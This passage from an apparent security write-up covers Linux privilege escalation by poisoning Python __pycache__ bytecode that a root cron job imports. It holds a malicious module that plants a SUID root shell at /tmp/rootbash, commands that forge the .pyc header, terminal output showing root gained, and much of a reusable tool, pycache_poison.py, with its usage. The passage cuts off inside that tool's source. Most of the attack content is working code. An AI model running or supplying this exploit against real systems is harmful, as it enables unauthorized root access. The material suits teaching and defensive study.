&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;

&lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;system&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="nb"&gt;Exception&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="k"&gt;pass&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;tar_and_move_files&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;archive_dir&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;current_date&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;datetime&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="nf"&gt;strftime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;%Y-%m-%d&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;tar_filename&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;archive_dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;current_date&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;_&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;.tar.gz&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;Popen&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/usr/bin/tar&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-czf&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;tar_filename&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-C&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dirname&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;basename&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;)])&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;remove&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;file_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;An earlier attempt placed the &lt;code&gt;os.system(...)&lt;/code&gt; call inside the function body and produced no result - it silently waited on a qualifying &lt;code&gt;/backup&lt;/code&gt; file that never arrived. Moving it to module scope fixed this.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;&lt;strong&gt;Step 3 - compile, then patch the header's size field.&lt;/strong&gt; &lt;code&gt;py_compile&lt;/code&gt; stamps the local file's own mtime/size by default; the mtime is made correct up front by touching the source file, but the size still has to be patched manually to match the real &lt;code&gt;helper.py&lt;/code&gt; on the target:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;touch&lt;/span&gt; &lt;span class="nt"&gt;-d&lt;/span&gt; @&lt;span class="nv"&gt;$REAL_MTIME&lt;/span&gt; helper.py
python3 &lt;span class="nt"&gt;-m&lt;/span&gt; py_compile helper.py

python3 - &lt;span class="o"&gt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="no"&gt;EOF&lt;/span&gt;&lt;span class="sh"&gt;
import struct
pyc_path = "__pycache__/helper.cpython-310.pyc"
with open(pyc_path, "r+b") as f:
    data = bytearray(f.read())
    struct.pack_into("&amp;lt;I", data, 12, &lt;/span&gt;&lt;span class="nv"&gt;$REAL_SIZE&lt;/span&gt;&lt;span class="sh"&gt; &amp;amp; 0xFFFFFFFF)
    f.seek(0)
    f.write(data)
&lt;/span&gt;&lt;span class="no"&gt;EOF
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Step 4 - drop it into the real cache directory and wait for the next cron tick:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cp &lt;/span&gt;__pycache__/helper.cpython-310.pyc /opt/archiver/__pycache__/helper.cpython-310.pyc
watch &lt;span class="nt"&gt;-n&lt;/span&gt; 5 &lt;span class="s1"&gt;'ls -la /tmp/rootbash 2&amp;gt;/dev/null'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Within 60 seconds:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;svc_backup@odori:/tmp/poison&lt;span class="nv"&gt;$ &lt;/span&gt;&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /tmp/rootbash
&lt;span class="nt"&gt;-rwsr-xr-x&lt;/span&gt; 1 root root 1396520 Oct 18 09:42 /tmp/rootbash
svc_backup@odori:/tmp/poison&lt;span class="nv"&gt;$ &lt;/span&gt;/tmp/rootbash &lt;span class="nt"&gt;-p&lt;/span&gt;
rootbash-5.1# &lt;span class="nb"&gt;id
&lt;/span&gt;&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;svc_backup&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;svc_backup&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;euid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0&lt;span class="o"&gt;(&lt;/span&gt;root&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="nb"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;1001&lt;span class="o"&gt;(&lt;/span&gt;svc_backup&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  7.5 Automating the exploit
&lt;/h3&gt;

&lt;p&gt;A general-purpose version of steps 2-4 above is available as &lt;code&gt;pycache_poison.py&lt;/code&gt;. It builds the malicious module, compiles it, patches the header to match an arbitrary real source file, and writes the result to a target &lt;code&gt;__pycache__&lt;/code&gt; path in one shot.&lt;/p&gt;

&lt;p&gt;One important implementation detail: writing to the target &lt;code&gt;.pyc&lt;/code&gt; using &lt;code&gt;open("wb")&lt;/code&gt; directly will fail with &lt;code&gt;PermissionError&lt;/code&gt; when the file is owned by root (which happens if cron ran and Python discarded a mismatched-header &lt;code&gt;.pyc&lt;/code&gt; and recompiled it as root). The fix is to write a temp file in the same directory and &lt;code&gt;os.replace()&lt;/code&gt; it over the target - a rename only needs write permission on the &lt;strong&gt;directory&lt;/strong&gt;, not the file itself, which matches exactly what &lt;code&gt;mv&lt;/code&gt; does.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;usage: pycache_poison.py [-h] --source SOURCE --target-pyc TARGET_PYC
                         [--payload PAYLOAD] [--keep-func NAME] [--dry-run]

arguments:
  --source      Path to the real .py source file the privileged process
                imports. Only read, never modified - its mtime/size are
                copied into the forged header.
  --target-pyc  Path to write the poisoned .pyc. Parent __pycache__ dir
                must be writable; the file itself does not need to be.
  --payload     Python statement to execute unconditionally at import time.
                Default: os.system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')
  --keep-func   Function name the privileged script imports/calls from the
                module. Repeat for each name. A harmless no-op stub is
                generated so the privileged script doesn't crash.
  --dry-run     Build and print the forged module without writing anything.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Usage on this box:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;python3 pycache_poison.py &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--source&lt;/span&gt; /opt/archiver/helper.py &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--target-pyc&lt;/span&gt; /opt/archiver/__pycache__/helper.cpython-310.pyc &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--payload&lt;/span&gt; &lt;span class="s2"&gt;"os.system('cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash')"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--keep-func&lt;/span&gt; tar_and_move_files
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Expected output:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[*] Source: /opt/archiver/helper.py
    mtime = 1737062139 (1737062139)
    size  = 412 bytes
[*] Compiled malicious module -&amp;gt; /tmp/tmpkivculj3/__pycache__/_poison_src.cpython-310.pyc
[*] Patched pyc header to match source (mtime, size)
[+] Wrote poisoned pyc -&amp;gt; /opt/archiver/__pycache__/helper.cpython-310.pyc
[+] Done. Wait for the privileged process to import this module again (cron tick, service restart, next invocation, etc.).
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Full script:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
pycache_poison.py

Generic Python __pycache__ bytecode-poisoning helper for local privesc
scenarios where a privileged process (root cron job, SUID wrapper, systemd
service, sudo script, etc.) imports a module from a directory whose
__pycache__ folder is writable by a lower-privileged user.

Background / technique:
  Python&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;s import system will load a cached .pyc instead of recompiling the
  matching .py source IF the .pyc header&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;s embedded (mtime, size) of the
  source file matches the real source file on disk. There is no
  cryptographic integrity check, so if an attacker can write to the
  __pycache__ directory, they can forge a .pyc whose header matches the
  real source file&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;s (mtime, size) but whose bytecode is attacker-controlled.
  The privileged process then executes the attacker&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;s code on next import,
  with no visible change to the real .py source file.

  See: https://hardsoftsecurity.es/index.php/2026/01/19/python-cache-poisoning-privesc-linux/

Requirements:
  - Write access to the target .pyc file&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;s parent __pycache__ directory
  - Read access to the real source .py file (to copy its mtime/size)
  - The python3 interpreter used to RUN this script must be the same
    major.minor version the privileged process uses (so the magic number
    in the compiled bytecode matches what the target interpreter accepts)
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;argparse&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;struct&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;subprocess&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;tempfile&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;read_source_stat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;source_path&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;st&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;stat&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;source_path&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;mtime&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;int&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;st&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;st_mtime&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;size&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;st&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;st_size&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&lt;/span&gt; &lt;span class="mh"&gt;0xFFFFFFFF&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;mtime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;size&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;build_module_source&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;keep_funcs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;list&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    Build the full .py text for the malicious module: unconditional
    module-level payload execution, plus harmless stub functions so the
    privileged importer&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;s `from module import &amp;lt;name&amp;gt;` / later calls don&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;t
    blow up.
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;lines&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;import os&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;import subprocess&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;try:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;payload&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;except Exception:&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    pass&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;]&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;fn&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;keep_funcs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;def &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;fn&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;(*args, **kwargs):&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;    pass&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;""&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lines&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;compile_module&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;py_text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mtime&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;workdir&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;-&amp;gt;&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    Write py_text to a throwaway .py file inside workdir, stamp it with the
    given mtime (so py_compile embeds a predictable value we&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;ll overwrite
    anyway), compile it, and return the path to the produced .pyc.
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;src_path&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;workdir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;_poison_src.py&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;with&lt;/span&gt; &lt;span class="nf"&gt;open&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;src_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;w&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;as&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;write&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;py_text&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;utime&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;src_path&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;mtime&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;mtime&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;

    &lt;span class="n"&gt;subprocess&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;run&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;sys&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;executable&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-m&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;py_compile&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;src_path&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;
        &lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;cwd&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;workdir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
    &lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;cache_dir&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;workdir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__pycache__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;candidates&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;listdir&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cache_dir&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;f&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;startswith&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;_poison_src.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)]&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;candidates&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;raise&lt;/span&gt; &lt;span class="nc"&gt;RuntimeError&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;py_compile did not produce a .pyc file&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;cache_dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;candidates&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;


